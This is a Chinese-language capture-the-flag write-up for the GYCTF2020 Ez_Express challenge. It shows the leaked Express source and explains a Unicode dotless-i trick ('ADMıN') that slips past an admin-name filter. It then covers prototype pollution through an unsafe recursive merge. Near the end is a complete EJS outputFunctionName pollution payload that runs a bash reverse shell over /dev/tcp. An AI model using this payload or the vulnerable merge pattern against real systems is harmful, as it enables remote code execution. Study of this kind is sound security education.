[GYCTF2020]Ez_Express

源码泄露

文件泄露www.zip

主要逻辑在routes/index.js

image-20221026223143528

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => { // 存在原型链污染
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) { // 不区分大小写
return keyword
}

return undefined
}

router.get('/', function (req, res) {
if(!req.session.user){
res.redirect('/login');
}
res.outputFunctionName=undefined;
res.render('index',data={'user':req.session.user.user});
});


router.get('/login', function (req, res) {
res.render('login');
});



router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(), //好像存在问题
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}

}
res.redirect('/'); ;
});
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body); // clone 调用merge函数,进行原型链污染
res.end("<script>alert('success');history.go(-1);</script>");
});
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;

toUpperCase

login路由对应的代码,注册的时候,会使用safeKeyword对userid(也就是用户名进行判断)

image-20221026223429940

跟进safeKeyword()函数,发现不能是admin

1
2
3
4
5
6
7
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) { // 不区分大小写
return keyword
}

return undefined
}

但是判断之后,会将userid.toUpperCase()和pwd写入session,在之后的action路由里面,需要userid为ADMIN

这样就产生了一个矛盾:safeKeyword不允许userid存在admin(无论大小写),action路由需要userid.toUpperCase()为ADMIN

解决的办法:

在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。

所以我们可以让userid=ADMıN,即可过safeKeyword,也会在经过toUpperCase()函数之后,满足ADMIN的条件

原型链污染

action路由,判断userid之后,将req.body传入clone

image-20221026224157320

跟进clone(),发现调用merge()函数

image-20221026224233610

跟进merge(),是一个典型的原型链污染,具体分析看 原型链污染学习(1)_Sk1y的博客-CSDN博客

image-20221026224258172

再来看info路由,返回res.outputFunctionName给模板渲染

image-20221026224402656

发现ejs模板引擎,ejs存在原型链污染进行RCE,具体的分析见:从 Lodash 原型链污染到模板 RCE-安全客 - 安全资讯平台 (anquanke.com)

image-20221026224445557

所以思路就是:先通过action路由对outputFunctionName进行原型链污染,而后通过info路由触发执行命令

action传参,payload如下

1
{ "__proto__": {"outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/7003 0>&1\"');var __tmp2"}}

然后访问以GET方式访问info,反弹shell

image-20221026205434035

参考链接

  1. 从 Lodash 原型链污染到模板 RCE-安全客 - 安全资讯平台 (anquanke.com)
  2. GYCTF2020]Ez_Express_bfengj的博客-CSDN博客